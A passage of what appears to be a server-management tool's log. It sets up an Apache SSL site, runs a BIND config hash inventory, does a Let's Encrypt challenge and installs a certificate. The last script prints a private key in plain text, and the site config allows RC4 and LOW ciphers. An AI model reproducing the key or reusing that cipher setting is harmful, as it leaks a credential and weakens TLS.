ServerName stage.theyoungdesigners.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt
DocumentRoot /mnt/internal/www/theyoungdesigners_stage/public
<Directory /mnt/internal/www/theyoungdesigners_stage/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/stage_secure_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/stage_secure_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p /var/log/apache2/theyoungdesigners
mkdir -p $DOCROOT/$PUBLIC
chown -R phil:phil $DOCROOT
ln -s "..//etc/apache2/sites-enabled/theyoungdesigners_stage.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/theyoungdesigners_stage.conf)= /etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_stage.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_stage.conf= 1'
fi
2025-10-03 15:01:14:
chmod 755 /tmp/pkp983247; /tmp/pkp983247; rm /tmp/pkp983247
2025-10-03 15:01:15:
link(/etc/apache2/sites-enabled/theyoungdesigners_stage.conf)= /etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_stage.conf
file(/etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_stage.conf= 1
2025-10-03 15:01:15:
PUT: /tmp/pkp531051
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-03 15:01:15:
chmod 755 /tmp/pkp531051; /tmp/pkp531051; rm /tmp/pkp531051
2025-10-03 15:01:15:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-03 15:01:16: Establishing a connection
2025-10-03 15:01:16:
PUT: /tmp/pkp788839
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-10-03 15:01:16:
runuser -l bind -s /bin/bash -c '/tmp/pkp788839; rm /tmp/pkp788839'
2025-10-03 15:01:16:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-10-03 15:01:32: Establishing a connection
2025-10-03 15:01:33: Establishing a connection
2025-10-03 15:01:34:
PUT: /tmp/pkp595295
#!/bin/bash
if [ -d "/mnt/internal/www/theyoungdesigners_stage/public/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-03 15:01:35:
chmod 755 /tmp/pkp595295; /tmp/pkp595295; rm /tmp/pkp595295
2025-10-03 15:01:35:
1
2025-10-03 15:01:37: Establishing a connection
2025-10-03 15:01:38:
PUT: /tmp/pkp977162
#!/bin/bash
mkdir -p "/mnt/internal/www/theyoungdesigners_stage/public/.well-known/acme-challenge/"
cd "/mnt/internal/www/theyoungdesigners_stage/public/.well-known/acme-challenge/"
cat > S9zfUwdXGoSZ-tKi9Eo9cprvoBe5Y9-wjqHqEHvAeio <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
S9zfUwdXGoSZ-tKi9Eo9cprvoBe5Y9-wjqHqEHvAeio.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 S9zfUwdXGoSZ-tKi9Eo9cprvoBe5Y9-wjqHqEHvAeio
2025-10-03 15:01:38:
chmod 755 /tmp/pkp977162; /tmp/pkp977162; rm /tmp/pkp977162
2025-10-03 15:01:39:
2025-10-03 15:01:42: Establishing a connection
2025-10-03 15:01:43:
PUT: /tmp/pkp271189
#!/bin/bash
mkdir -p "/mnt/internal/www/theyoungdesigners_stage/public/.well-known/acme-challenge/"
cd "/mnt/internal/www/theyoungdesigners_stage/public/.well-known/acme-challenge/"
rm S9zfUwdXGoSZ-tKi9Eo9cprvoBe5Y9-wjqHqEHvAeio
2025-10-03 15:01:43:
chmod 755 /tmp/pkp271189; /tmp/pkp271189; rm /tmp/pkp271189
2025-10-03 15:01:44:
2025-10-03 15:01:44: Establishing a connection
2025-10-03 15:01:45:
PUT: /tmp/pkp891133
#!/bin/bash
temp_file=$(mktemp)
TARGET=71986a4933a5df06d6ba64d41a00e6e1.crt
cat > $temp_file <<'endmsg'
40:b1:b6:14:ac:cd:df:61:11:31:93:ae:c9:d9:ca:b9
-----BEGIN CERTIFICATE-----
MIIFEjCCA/qgAwIBAgISBl1qPknw54Nq9T58F8z2EPbqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDAzMTQwMzExWhcNMjYwMTAxMTQwMzEwWjAmMSQwIgYDVQQD
ExtzdGFnZS50aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUA
A4IBDwAwggEKAoIBAQDKNA8JFruzKhRPXkEp8bWv+pKt0itytSaOVbjbnyQL0xSR
L9S5whBoC4Rwv1dhea5hrVGZFxbafHF9m5axeTYhWHR3od/Hv7blERGkBgcJj9zN
8S6RRZu2pa+zpU++EGOgNxfVl5Tque7/gZrFyu2BXy0gHxHFZMq/29lK48IdLCUy
aagohnD6Kav6rOG0e/VegD2XJRHBcO7WOOpj7zNs5BUaybnj50usufq6G44S41xG
OewIj58RjBVpTWYADWWrR/2I2JTOZZmHhC1bFHARNEHTGNJlTDwbTX6XXxD3mSBi
MEM9tD0X3mJLks+a3yltmMD0FPnHaQKf9mwqEPIXAgMBAAGjggIrMIICJzAOBgNV
HQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1Ud
EwEB/wQCMAAwHQYDVR0OBBYEFNsDsyqYFmbn7c3dBDA2CzpsHKXRMB8GA1UdIwQY
MBaAFOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEF
BQcwAoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wJgYDVR0RBB8wHYIbc3RhZ2Uu
dGhleW91bmdkZXNpZ25lcnMuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1Ud
HwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTA3LmNybDCCAQMG
CisGAQQB1nkCBAIEgfQEgfEA7wB1ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1w
QS0lTMfUAAABmaqX1vgAAAQDAEYwRAIgceXu4jPytDP3hT1po1ruSOaVCnhbHhvQ
LAncZiG4eF0CIHdmGf6SRs+vJldbInKnjKQSjeGI3d5T6mBDBKuP2vk/AHYADleU
vPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGZqpfW7gAABAMARzBFAiEA
i8IlV+ygxew+LIhH45K/SSIPXzb3NvLH9WQ/CJXmzIACIAjEeJmUp/Ypt6XiUftM
ZVhRtOYIgtNS+qJS4bfkby0iMA0GCSqGSIb3DQEBCwUAA4IBAQA9eLt/6kwSteDQ
5KO5aKLIKSXdNVPihWmFfbBcVFfnYXv/XvjvJhEmPnscDaRilNoBAdtvGJf6elYm
4jmqErBwZuljuqpY/rxiHrJ81kkLJ0VoJ/F+SZxxx07tgsV66036oemcUhkNNWoF
IiidbnFlkhXU26RrVveVJ5SFwC/zwEshVLmBE6s9JKFN6k274Frm0BATU5xhKcAA
LqudHrKADKILvp84Q6cpEVt0tSUwX7nnzty1Zz1UXQX1HzNlUOh4yojr8N6Xq/i2
ie32s+YWvlC2AvUzeS/1S1SJpjcJCjOR1hqVeFPU+VHSKUmzEep/pMbZ4Rm0czui
2m3qOmx+
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDKNA8JFruzKhRP
XkEp8bWv+pKt0itytSaOVbjbnyQL0xSRL9S5whBoC4Rwv1dhea5hrVGZFxbafHF9
m5axeTYhWHR3od/Hv7blERGkBgcJj9zN8S6RRZu2pa+zpU++EGOgNxfVl5Tque7/
gZrFyu2BXy0gHxHFZMq/29lK48IdLCUyaagohnD6Kav6rOG0e/VegD2XJRHBcO7W
OOpj7zNs5BUaybnj50usufq6G44S41xGOewIj58RjBVpTWYADWWrR/2I2JTOZZmH
hC1bFHARNEHTGNJlTDwbTX6XXxD3mSBiMEM9tD0X3mJLks+a3yltmMD0FPnHaQKf
9mwqEPIXAgMBAAECggEABd1+tifHqAnHbwnv3/SX7ZPaH1qiUgB5LtXDt/Mky4cC
6Lc3d2/uo+X5oH+cXEJ4UXMCk+s8iXfknt0dgOZgMJVtQ28Zm6Su/HQDS/u0xo06
vWqKjEI1oxWpRA++gWfeS+5tLY/pDOn5ycWLpMMfIoqNN4pPLKegzfHlmquCnO/2
m7vCcbFC4Z0fYfblvFe64x5DrPCpMhS59t+vMXSxNM+gJ2onCwvxAyqhfrKelc3f
nI9ab6r1/j4tVY7nznpxZe3I+bM/ikjFmCk2WWnodJ0UDqrnm7EE62h7akumqIz3
Scc9qWO7PEGYAcIS7E0qN4o29B4wXF9nkZfVSbxL+QKBgQD75+ybF2zpqrzEud8N
n7RZqtNYxn18EK2Qu7FLn2ZKHnAYNBqMldGupzkUsgDmTpCSMRtlHs3uw+MEbR74
XngJ/muduAYsjiP06zKtsZDbpUhvpmZ444XPVh7U3TLui0t9hkijjnDu5GrJOP6L
6F1er549m38e7sRUzfYF6fINzQKBgQDNfVe5g1YNDOZfXQvQrqPkCbTd62hoejvj
NRs0f1T5zXc5ftDIJODzdmbRpyEUyg1hY3/kGV/3g6N3ot2UXQE9/6feESmA9TSY
xOD73+Jm+AlbbvUbWHuaXUz8k6Yl5bAZQ8uwTF17Llt1EcKh6bVMmY+Fly+UNKbX
brLZC0C7cwKBgBU6l1r+n2QVynC9xUltoxJHbiY2HA8fjLD80FUyKrmmVQYFJhOg
